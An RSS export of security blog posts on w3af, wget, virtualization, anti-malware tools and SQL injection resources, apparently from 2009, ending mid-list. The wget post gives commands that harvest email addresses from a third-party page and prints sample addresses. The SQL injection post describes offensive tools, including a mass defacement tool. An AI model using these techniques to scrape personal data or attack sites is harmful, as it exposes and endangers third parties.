<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insanesecurity &#187; Toolbox</title>
	<atom:link href="http://insanesecurity.info/blog/category/toolbox/feed" rel="self" type="application/rss+xml" />
	<link>http://insanesecurity.info/blog</link>
	<description>security through a distorted eye</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:31:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Web application attack and audit framework</title>
		<link>http://insanesecurity.info/blog/web-application-attack-and-audit-framework</link>
		<comments>http://insanesecurity.info/blog/web-application-attack-and-audit-framework#comments</comments>
		<pubDate>Thu, 25 Feb 2010 22:31:12 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[web application security scanner]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=321</guid>
		<description><![CDATA[Recently Larry Suto published his second paper on web application security scanners (if you are wondering about his first one, you can find it here) and as expected it once again stirred up a couple of people. And while he analyzed the most used web security scanners, I wonder if we could change our direction [...]]]></description>
			<content:encoded><![CDATA[<p>Recently Larry Suto published his second paper on <a href="http://ha.ckers.org/files/Accuracy_and_Time_Costs_of_Web_App_Scanners.pdf">web application security scanners</a> (if you are wondering about his first one, you can find it <a href="http://ha.ckers.org/blog/20071014/web-application-scanning-depth-statistics/">here</a>) and as expected it once again stirred up a couple of people.</p>
<p>And while he analyzed the most used web security scanners, I wonder if we could change our direction and focus on a not so well know, open source web application scanner.</p>
<p>Probably you&#8217;ve figured about now what I&#8217;m talking about, as writen in the title, I&#8217;m talking about &#8220;web application attack and audit framework&#8221; or <strong>w3af</strong>.</p>
<p>The authors describe it for short:</p>
<blockquote><p>
 w3af is a Web Application Attack and Audit Framework. The project&#8217;s goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend.
</p></blockquote>
<p>While this resembles the ideea (and direction) by which the project started, for me it seems that w3af is so much of a framework as Joomla! is for web applications development. I would rather call it a full featured web application testing platform.</p>
<p>Even if I&#8217;m not that big of a fan for automated vulnerability scanners, I have to admit that w3af has a nice series of discovery plugins which are enough reasons for me to give it thumbs up.</p>
<p>That&#8217;s all I wanted to share with you today. For more information about w3af I recommend their <a href="http://w3af.sourceforge.net">source forge page</a> and <a href="http://www.owasp.org/download/jmanico/owasp_podcast_49.mp3">Andre Riancho&#8217;s interview for OWASP podcast</a> (this dude is the core developer of w3af)</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/web-application-attack-and-audit-framework/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.owasp.org/download/jmanico/owasp_podcast_49.mp3" length="19982593" type="audio/mpeg" />
		</item>
		<item>
		<title>WGet all the way</title>
		<link>http://insanesecurity.info/blog/wget-all-the-way</link>
		<comments>http://insanesecurity.info/blog/wget-all-the-way#comments</comments>
		<pubDate>Tue, 07 Jul 2009 17:04:06 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[isf]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=121</guid>
		<description><![CDATA[There are a couple of security auditing frameworks out there, and the temptation is high on creating your own; either in Perl, Ruby, Python and why not in PHP as well. Needles to say, I too was tempted in creating my own framework. Ideas kept flowing in, the project has been started and then BAM, [...]]]></description>
			<content:encoded><![CDATA[<p>There are a couple of security auditing frameworks out there, and the temptation is high on creating your own; either in Perl, Ruby, Python and why not in PHP as well.</p>
<p>Needles to say, I too was tempted in creating my own framework. Ideas kept flowing in, the project has been started and then BAM, I&#8217;ve read an interesting article on <a href="http://www.gnucitizen.org/blog/you-dont-need-the-ultimate-pen-testing-framework/">GNUCITIZEN</a>, which made me rethink my strategy&#8230;</p>
<p>One of the comments pointed it out very well:</p>
<blockquote><p>most of the stuff we need is on the shell already. pentesting frameworks is like the new security-testing hype. first we had hundreds of portscanners, then hundreds of webapp MiTM proxies, then hundreds of fuzzers, then hundreds of SQL injectors, now it’s about pentesting frameworks :)</p></blockquote>
<p>So instead of starting to write redundant code, I started to learn already available command line tools, which have years of development behind and fill in almost every aspect they need to.</p>
<p>Basically I&#8217;m building my framework around already available tools, and only code up things that do not exist, or for some very particular cases.<br />
<span id="more-121"></span></p>
<h2>So why WGet?</h2>
<p>Well I had to start with something my series of articles (it&#8217;s gonna be a series), and <code>wget</code> seemed to be a good starting point.</p>
<p>If you&#8217;ve never dealt with <code>wget</code> (which I sincerely doubt), the following description best describes it:</p>
<blockquote><p>GNU Wget is a free software package for retrieving files using HTTP, HTTPS and FTP, the most widely-used Internet protocols. It is a non-interactive commandline tool, so it may easily be called from scripts, cron jobs, terminals without X-Windows support, etc</p></blockquote>
<p>Without further useless rambling let&#8217;s see in which scenarios you would use wget; apart from downloading <code>psyBNC</code> archives, like seen on many h4x00r websites.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>Website crawling</h2>
<p>There are a couple of tools that facilitate website crawling, I even mentioned one in my <a href="http://insanesecurity.info/blog/intercepting-proxies">Intercepting Proxies?</a> article with the difference that liveHTTPHeaders may be used for passive crawling of websites&#8230;</p>
<p>So how would we go on crawling a website with <code>wget</code>?</p>
<pre>wget -r -nd --spider -o links.txt http://insanesecurity.info</pre>
<p>Where:</p>
<ul>
<li>r &#8211; recursive crawling</li>
<li>nd &#8211; don&#8217;t create directories</li>
<li>spider &#8211; do not save pages, discard after collecting links from them</li>
<li>o &#8211; save output to file links.txt</li>
</ul>
<p>But what if we would want to restrict the crawling only under a directory, and filter out CSS, images and Javascript files?</p>
<pre>wget -r -nd --spider -o links.txt -np -R js,css,jpg,png,gif http://insanesecurity.info/blog/</pre>
<p>Where:</p>
<ul>
<li>np &#8211; do not go to parent directory</li>
<li>R &#8211; one or more extensions to reject (comma separated)</li>
</ul>
<p>After the command finishes the content of <code>links.txt</code> would look like this (assuming you&#8217;ve run the first command):</p>
<pre>Spider mode enabled. Check if remote file exists.
--2009-07-07 16:46:58--  http://insanesecurity.info/
Resolving insanesecurity.info... 93.115.201.3
Connecting to insanesecurity.info|93.115.201.3|:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://insanesecurity.info/blog/ [following]
Spider mode enabled. Check if remote file exists.
--2009-07-07 16:47:01--  http://insanesecurity.info/blog/
Connecting to insanesecurity.info|93.115.201.3|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Remote file exists and could contain links to other resources -- retrieving.

--2009-07-07 16:47:01--  http://insanesecurity.info/blog/
Connecting to insanesecurity.info|93.115.201.3|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `index.html'</pre>
<p>From this point, the retrieval of links is just a mater of using <code>grep</code>, <code>cut</code>, <code>sort</code> and <code>uniq</code>.</p>
<pre>cat links.txt | grep -P "\-\-\d{4}" | cut -d " " -f 4 | sort | uniq</pre>
<p>And the output would be like:</p>
<pre>http://insanesecurity.info/

http://insanesecurity.info/2009/01/hacking-yahoogmailhotmail-accounts-a-z-guide/

http://insanesecurity.info/2009/01/javascript-userscript-keylogger/

http://insanesecurity.info/2009/01/logging-the-http-requests/

http://insanesecurity.info/2009/01/password-insecurity-wordlists-dictionaries/

http://insanesecurity.info/2009/01/the-future-of-av-or-not/

http://insanesecurity.info/2009/01/the-hackers-underground-handbook-review/

http://insanesecurity.info/2009/01/useratuh-frontend-to-backend-encryption/</pre>
<h2>Copying websites</h2>
<p>Or website mirroring as people use to call it.</p>
<p>There are a couple of reasons why you would do this;</p>
<ul>
<li>To have a copy which you can transport on a CD/DVD/Memory card/etc, having the possibility to convert the links to point to local files.</li>
<li>Content to feed email scrappers</li>
</ul>
<p>For our first scenario, you would run <code>wget</code> in the following manner:</p>
<pre>wget -m -k -p -np http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/</pre>
<p>Where:</p>
<ul>
<li>m &#8211; mirror website</li>
<li>k &#8211; convert html links to local files</li>
<li>p &#8211; get page dependencies (css, images)</li>
<li>np &#8211; do not go to parent folders</li>
</ul>
<p>And as far as using it for scrapping purpose, we use the most simplistic commands:</p>
<pre>
wget http://tinyurl.com/nqa48q
cat downloaded-file | grep -o -P "\w+\[at\]\w+" > emails.txt
</pre>
<p>And this way I have gathered a list of 40 email addresses&#8230; a sample of them:</p>
<pre>
ureachnirav[at]yahoo
reachjag[at]yahoo
g2[at]g2designindia
g2design[at]rediffmail
archsumitjoshi[at]yahoo
joshi[at]hexagon
rohankarswapnil[at]yahoo
sandy004[at]yahoo
idc[at]iitb
visakan[at]gmail
</pre>
<p>Of course that for replacing the [at] in them, we can simply use <code>sed</code>:</p>
<pre>
cat emails.txt | sed -r "s/\[at\]/@/g" > normal-emails.txt
</pre>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js"  type="text/javascript"></script></p>
<h2>Blog spam</h2>
<p>This is also possible (and simple) to achieve with <code>wget</code> and minor interference from <code>grep</code> and <code>sed</code>, but for this one I will not post an example&#8230; There are already hundreds of spammers out there, so why add more to the list? If interest exists in <code>wget</code> from your part you will find out how&#8230;</p>
<p>Of course for this you will need to script the behavior (bash, bat, perl, python, etc), or create a lengthy command line.</p>
<h2>FTP Copy</h2>
<p>As mentioned at the beginning of article <code>wget</code> can very well work with the ftp protocol as well.</p>
<pre>
wget -r --ftp-user=anonymous --ftp-password=some@email.com ftp://ftp.ro.freebsd.org/pub/FreeBSD/
</pre>
<p>Here I think is no need to explain the command line arguments, they are pretty obvious.</p>
<h2>Anonymous mode</h2>
<p>When I&#8217;m referring to anonymous mode, I&#8217;m referring to channel <code>wget</code> requests through proxy servers. First you need to configure your <code>.wgetrc</code> file. If you haven&#8217;t got one, you may as well create it now.</p>
<pre>
#############################
###
### Sample Wget initialization file .wgetrc
###

## You can use this file to change the default behaviour of wget or to
## avoid having to type many many command-line options. This file does
## not contain a comprehensive list of commands -- look at the manual
## to find out what you can put into this file.
##
## Wget initialization file can reside in /usr/local/etc/wgetrc
## (global, for all users) or $HOME/.wgetrc (for a single user).
##
## To use the settings in this file, you will have to uncomment them,
## as well as change them, in most cases, as the values on the
## commented-out lines are the default values (e.g. "off").

##
## Global settings (useful for setting up in /usr/local/etc/wgetrc).
## Think well before you change them, since they may reduce wget's
## functionality, and make it behave contrary to the documentation:
##

# You can set retrieve quota for beginners by specifying a value
# optionally followed by 'K' (kilobytes) or 'M' (megabytes).  The
# default quota is unlimited.
#quota = inf

# You can lower (or raise) the default number of retries when
# downloading a file (default is 20).
#tries = 20

# Lowering the maximum depth of the recursive retrieval is handy to
# prevent newbies from going too "deep" when they unwittingly start
# the recursive retrieval.  The default is 5.
#reclevel = 5

# Many sites are behind firewalls that do not allow initiation of
# connections from the outside.  On these sites you have to use the
# `passive' feature of FTP.  If you are behind such a firewall, you
# can turn this on to make Wget use passive FTP by default.
#passive_ftp = off

# The "wait" command below makes Wget wait between every connection.
# If, instead, you want Wget to wait only between retries of failed
# downloads, set waitretry to maximum number of seconds to wait (Wget
# will use "linear backoff", waiting 1 second after the first failure
# on a file, 2 seconds after the second failure, etc. up to this max).
waitretry = 10

##
## Local settings (for a user to set in his $HOME/.wgetrc).  It is
## *highly* undesirable to put these settings in the global file, since
## they are potentially dangerous to "normal" users.
##
## Even when setting up your own ~/.wgetrc, you should know what you
## are doing before doing so.
##

# Set this to on to use timestamping by default:
#timestamping = off

# It is a good idea to make Wget send your email address in a `From:'
# header with your request (so that server administrators can contact
# you in case of errors).  Wget does *not* send `From:' by default.
#header = From: Your Name 

# You can set up other headers, like Accept-Language.  Accept-Language
# is *not* sent by default.
#header = Accept-Language: en

# You can set the default proxies for Wget to use for http and ftp.
# They will override the value in the environment.
http_proxy = http://1.2.3.4:8080/
#ftp_proxy = http://proxy.yoyodyne.com:18023/

# If you do not want to use proxy at all, set this to off.
use_proxy = on

# You can customize the retrieval outlook.  Valid options are default,
# binary, mega and micro.
#dot_style = default

# Setting this to off makes Wget not download /robots.txt.  Be sure to
# know *exactly* what /robots.txt is and how it is used before changing
# the default!
#robots = on

# It can be useful to make Wget wait between connections.  Set this to
# the number of seconds you want Wget to wait.
#wait = 0

# You can force creating directory structure, even if a single is being
# retrieved, by setting this to on.
#dirstruct = off

# You can turn on recursive retrieving by default (don't do this if
# you are not sure you know what it means) by setting this to on.
#recursive = off

# To always back up file X as X.orig before converting its links (due
# to -k / --convert-links / convert_links = on having been specified),
# set this variable to on:
#backup_converted = off

# To have Wget follow FTP links from HTML files by default, set this
# to on:
#follow_ftp = off
</pre>
<p>I saved the file in my <code>C:/Windows</code> folder, but you may save it any other place you like. Under Linux you may already have this file in your <code>/etc</code> folder, so just modify it there.</p>
<p>As you may notice in the configuration file above (If you&#8217;ve looked closely) I have enabled the <code>http_proxy</code> and set up a proxy.</p>
<pre>
set WGETRC=C:/Windows/.wgetrc
wget --proxy=on http://insanesecurity.info/blog/
</pre>
<p>The first line is necessary under Windows if you haven&#8217;t set up till know the custom <code>.wgetrc</code>, while the second command enables the proxy and executes a request.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>Tweaking it</h2>
<p>This is just a quick intro on the most common usages of <code>wget</code>&#8230; Besides the ones mentioned here it also comes with a handful of other configuration options which you may look into&#8230;</p>
<p>Hopefully this article will be read by those who all day long write scrappers and spiders&#8230; I&#8217;m tired of bumping constantly over those types of scripts :)</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/wget-all-the-way/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Workstation Virtualization Security</title>
		<link>http://insanesecurity.info/blog/workstation-virtualization-security</link>
		<comments>http://insanesecurity.info/blog/workstation-virtualization-security#comments</comments>
		<pubDate>Wed, 24 Jun 2009 17:04:05 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Toolbox]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/workstation-virtualization-security</guid>
		<description><![CDATA[The idea to this article came to mind a couple of days ago, but decided to post it today after listening to the following two (&#8221;the Malware Report&#8221;) Podcasts: Virtualization is Not Security and Virtualization: Security Risks You Must Know. Podcasts in which they threat a common misconception that virtual machines (even virtual firewalls) are [...]]]></description>
			<content:encoded><![CDATA[<p>The idea to this article came to mind a couple of days ago, but decided to post it today after listening to the following two (&#8221;the Malware Report&#8221;) Podcasts: <a href="http://www.eset.com/podcasts/ESET091708_Virtualization.mp3">Virtualization is Not Security</a> and <a href="http://www.eset.com/podcasts/120108_ESET_Altor_Virtualization.mp3">Virtualization: Security Risks You Must Know</a>. Podcasts in which they threat a common misconception that virtual machines (even virtual firewalls) are more secure than normal machines.</p>
<p><span id="more-83"></span></p>
<p>
While they treated virtualization aspect from a server point of view, virtualization can be useful for home/work users. How? By giving a hand in the most problematic/annoying problems &#8211; malware. A little link to <a href="http://en.wikipedia.org/wiki/Virtualization">Wikipedia</a> about Virtualization.</p>
<h2>Virtual Workstation</h2>
<p>I see this approach as the less likely, but even so it is a good example of the principle. You install the OS you use for work (general usage) in the virtual machine, along with all the software/configuration it needs and in the end take a snapshot of it&#8217;s state. You conduct your work on the virtual machine with no threat upon your physical machine. And in the unfortunate situation of the virtual machine being crippled by a Malware you just restore the last snapshot as noting would have happened.</p>
<p>I recommend <a href="http://www.virtualbox.org">VirtualBox</a> for creating/managing/working with virtual machines.</p>
<h2>Data freezing (?)</h2>
<p>Actually I just made up that term. I&#8217;m actually refering to hard drive virtualization, you know like DeepFreeze does (now you see from where I made up the term), not as secure as running in the virtual machine because there were exploits which circumvented the software by neutralizing it. But you shouldn&#8217;t be worried about that, such bugs disappear really fast, and the chance of getting a  Malware which to exploit that are minimal; there was no such malware piece known till now.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>Very useful to have in iCafes where people come and go, but malware stays. As mentioned before <a href="http://deepfreezeusa.com/html/deepfreeze.asp">DeepFreeze</a> does the job very well, but there is a freeware (for home usage) program which promises to do the same thing: <a href="http://www.returnilvirtualsystem.com/rvspersonal.htm">Returnil</a>.</p>
<h2>Sandboxing</h2>
<p>In computer security, a sandbox is a security mechanism for safely running programs. It is often used to execute untested code, or untrusted programs from unverified third-parties, suppliers and untrusted users. The sandbox typically provides a tightly-controlled set of resources for guest programs to run in, such as scratch space on disk and memory. Network access, the ability to inspect the host system or read from input devices are usually disallowed or heavily restricted. In this sense, sandboxes are a specific example of virtualization. (<a href="http://en.wikipedia.org/wiki/Sandbox_(computer_security)">Wikipedia</a>)</p>
<p>A common tool used for this job is <a href="http://www.sandboxie.com/">Sandboxie</a>, which I can say I am more than satisfied on it&#8217;s workings. Commonly this method of virtualization security will be the best, and the most accessible in terms of data sharing between virtual and physical environment.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/workstation-virtualization-security/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.eset.com/podcasts/ESET091708_Virtualization.mp3" length="5317194" type="audio/mpeg" />
<enclosure url="http://www.eset.com/podcasts/120108_ESET_Altor_Virtualization.mp3" length="6670964" type="audio/mpeg" />
		</item>
		<item>
		<title>Malware: a common threat</title>
		<link>http://insanesecurity.info/blog/malware-a-common-threat-2</link>
		<comments>http://insanesecurity.info/blog/malware-a-common-threat-2#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:45:53 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Malware]]></category>
		<category><![CDATA[Userscript]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=69</guid>
		<description><![CDATA[Malware represents a common threat for all users out there surfing the web. It doesn&#8217;t have ethics or a message to spread, like viruses used to have (not all had dangerous payloads). Another thing about malware, as I pointed it out in my article about the AV industry, they tend to use the same code [...]]]></description>
			<content:encoded><![CDATA[<p>Malware represents a common threat for all users out there surfing the web. It doesn&#8217;t have ethics or a message to spread, like viruses used to have (not all had dangerous payloads).</p>
<p><span id="more-69"></span></p>
<p>
Another thing about malware, as I pointed it out in my article <a href="http://insanesecurity.info/2009/01/the-future-of-av-or-not/">about the AV industry</a>, they tend to use the same code with minor modification; to be read as strains. If you&#8217;re new to this term (Malware), then I would recommend you an introductive article: <a href="http://www.atmaxplorer.com/2007/12/protect-yourself-from-malware/">Stop malware in it&#8217;s tracks</a>.</p>
<p>Following the <a href="http://www.f-secure.com/weblog/archives/00001579.html">latest article on F-Secure</a> Downadup has <span class="rss:item"><strong>2,395,963</strong> infections worldwide. Of course this is an optimistic scenario, even for a skeptic person at numbers as I am. You can see now the big threat that malware posses, that&#8217;s why we should protect ourselves&#8230;</span><br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>Greasemonkey: Malware Script Detector</h2>
<p><a href="http://sourceforge.net/projects/gmsd/">Malware Script Detector</a> is a <a href="http://www.greasespot.net/">Greasmonkey</a> script which will:</p>
<blockquote><p>Detect &amp; Alert Malicious JavaScript : XSSProxy, XSS-Shell, AttackAPI, Beef. But No guarantee for full prevention of  XSS-Injection threats. Many ways to bypass it such as via iframes but I&#8217;m sure it protects you from casual attackers.The main objective of developing Malware Script Detector is that I&#8217;m so much afraid of XSSProxy, XSS-Shell, AttackAPI, Beef and I want to detect them. Malicious sites intentionally embed them. Firefox XSS Warning addon can&#8217;t check this.</p>
</blockquote>
<p>It&#8217;s a highly recommended script, because malware scripts can be as dangerous as normal malware. The difference is that normal malware posses little threat if you download software from official sources, and verify the checksum&#8230;</p>
<h2>Malware Blocker</h2>
<p><a href="http://sourceforge.net/projects/malwareblocker/">Malware Blocker</a> is a tool useful before and after infection. The description of the program (as taken from SourceForge):</p>
<blockquote><p>Malware-Blocker blocks communication from your computer to any server that is known to be a malicious one. It does that by replacing your HOSTS file (deep inside Windows directory) with a blacklist of malicious servers, which are redirected to 0.0.0.0</p>
</blockquote>
<p>The projects last update is from February 2005. Although likely outdated it maintains a constant number of downloads, this being the reason I recommend it. Who knows what funky old school malware will you cross upon one day&#8230;<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>MalZilla</h2>
<p>This is an unexpected turn, is it? First of all you would probably like to know what <a href="http://sourceforge.net/projects/malzilla/">MalZilla</a> is. In simple words:</p>
<blockquote><p>Malzilla is an advanced malware-hunting tool specialized for hunting web-based exploits, decode obfuscated JavaScripts etc.</p>
</blockquote>
<p>Although limited only for malware scripts I can guaranty you that its very good at it, giving you all the tools needed for such a task. More information in it&#8217;s own pdf file, which comes along with the package.</p>
<p>Most of you can ignore the last application presented, I would think that having the first two installed is more than enough for regular users. And no, it&#8217;s not dangerous playing with malware if you got the proper tools.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/malware-a-common-threat-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection Junkie</title>
		<link>http://insanesecurity.info/blog/sql-injection-junkie</link>
		<comments>http://insanesecurity.info/blog/sql-injection-junkie#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:40:03 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[How To]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=65</guid>
		<description><![CDATA[SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance [...]]]></description>
			<content:encoded><![CDATA[<p>SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks. (<a href="http://en.wikipedia.org/wiki/SQL_Injection">Wikipedia</a>)</p>
<p><span id="more-65"></span></p>
<p>
That is one way to name it. I see SQL Injections as vulnerabilities that should have died long ago&#8230; Not because they&#8217;ve been around for too long (look at buffer overflows), but because they are simple to prevent&#8230; Seeing the high number of new developers that pop up every year, with no secure coding habits, I  foresee a great future for SQL Injections, as well as for any other web application vulnerability.</p>
<p>Leaving aside the sarcasm, I&#8217;ve written this article with the sole purpose of sharing SQL Injection related resources that I did find useful.</p>
<h2>RTFM!? (Read The &#8220;Funky&#8221; Manual)</h2>
<p>Before even trying to understand what SQL  Injection is, you should have (at least) basic knowledge on the type of database that the SQL Injection back end has and it&#8217;s syntax (the <a href="http://en.wikipedia.org/wiki/SQL">ANSI/ISO SQL</a> standard and DBMS specific functions/procedures/tables). Best direction for a start up (and quick reference) on a specific DBMS is it&#8217;s own manual:</p>
<ul>
<li><a href="http://msdn.microsoft.com/en-us/library/ms189826.aspx">MS SQL (Transact-SQL)</a></li>
<li><a href="http://dev.mysql.com/doc/">MySQL</a></li>
<li><a href="http://www.oracle.com/technology/documentation/index.html">Oracle</a></li>
<li><a href="http://www.postgresql.org/docs/">PostgreSQL</a></li>
</ul>
<p>Note here (and through the whole article) that I will emphasis on MSSQL, MySQL, Oracle and PostgreSQL, because they are the most common DBMS&#8217;s you&#8217;ll encounter.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></p>
<p></script></p>
<h2>SQL Injection 101</h2>
<p>You should understand <a href="http://www.owasp.org/index.php/SQL_Injection">basic SQL Injection attacks</a>. I linked to OWASP&#8217;s article on SQL Injection, but you could search another one (there are plenty on the web) which may seem more appropriate to you. Also don&#8217;t forget to <a href="http://www.owasp.org/index.php/Blind_SQL_Injection">dive in Blind SQL Injections</a>.</p>
<p>From that point onward it goes on with a bit of practice (there are a couple of challenge websites) and some DBMS specific techniques. The following articles are some examples on the subject:</p>
<ul>
<li><a href="http://websec.wordpress.com/2007/11/17/mysql-table-and-column-names/">MySQL table and column names</a></li>
<li><a href="http://websec.wordpress.com/2007/11/17/mysql-into-outfile/">MySQL into outfile</a></li>
<li><a href="http://www.securityfocus.com/infocus/1644">SQL Injection and Oracle</a></li>
<li><a href="http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf">Manipulating SQL Server Using SQL Injection</a></li>
</ul>
<p>As I said, these are just a few examples. Other interesting (MySQL) techniques would be the ones using <a href="http://www.securiteam.com/securityreviews/5JP0F20EUM.html">Benchmark()</a> and <a href="http://websec.wordpress.com/2009/01/26/mysql-table-and-column-names-update/">Procedure Analyze()</a>.</p>
<h2>SQL Injection Cheat Sheet</h2>
<p>The most helpful resources when you&#8217;re doing SQL Injection attacks manually. I personally use <a href="http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/">Ferruh</a>&#8217;s and <a href="http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/">pentestmonkey</a>&#8217;s cheat sheets. You should not stop at only these two, there are many other cheat sheets (DBMS specific also) available. The best option would be to union more cheat sheets (some have exotic vectors, while other have more detailed examples) and from those select what you think would be appropriate for your cheat sheet.</p>
<h2>Browserware</h2>
<p>There are two firefox add-on&#8217;s that I would suggest for SQL Injection testing. The first one is <a href="https://addons.mozilla.org/en-US/firefox/addon/3899">HackBar</a>, which I find very useful when exploiting SQL Injections from the browser directly (extracting/enumerating/dumping), while the second is <a href="https://addons.mozilla.org/en-US/firefox/addon/7597">SQL Inject Me</a>, add-on which will prove useful in the pages with many input fields.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>A Little Extra</h2>
<p>Although SQL Injections can be exploited manually on several occasions (and based on your laziness) you&#8217;ll want to automate the job of extracting/detecting/dumping/bruteforcing (?) a Database. Here the following scripts/apps would prove handy&#8230;</p>
<p><a href="http://sqlmap.sourceforge.net/" target="_blank">SQLMap</a><br />
sqlmap is an open source command-line automatic SQL injection tool developed in Python. Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user&#8217;s specific DBMS tables/columns, run his own SQL statement, read specific files on the file system and more.</p>
<p><a href="http://chaptersinwebsecurity.blogspot.com/2008/11/multiinjector-v03-released.html" target="_blank">MultiInjector</a><br />
MultiInjector is a mass exploitation tool (automated defacement). You basically give to the application a list of targets and payload, while it will fuzz all the found parameters by appending the payload to it. Check the website for more information.</p>
<p><a href="http://code.google.com/p/bsqlbf-v2/" target="_blank">Blind Sql Injection Brute Forcer version 2</a><br />
This is a modified version of &#8216;bsqlbfv1.2-th.pl&#8217;. This perl script allows extraction of data from Blind SQL Injections. It accepts custom SQL queries as a command line parameter and it works for both integer and string based injections. Databases supported: MSSQL, MySQL, PostgreSQL and Oracle.</p>
<p><a href="http://sqlninja.sourceforge.net/">SQLNinja</a></p>
<p>Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end. Its main goal is to provide a remote access on the vulnerable DB server, even in a very hostile environment. It should be used by penetration testers to help and automate the process of taking over a DB Server when a SQL Injection vulnerability has been discovered.</p>
<p><a href="http://www.justinclarke.com/archives/2006/03/sqlbrute.html">SQLBrute</a><br />
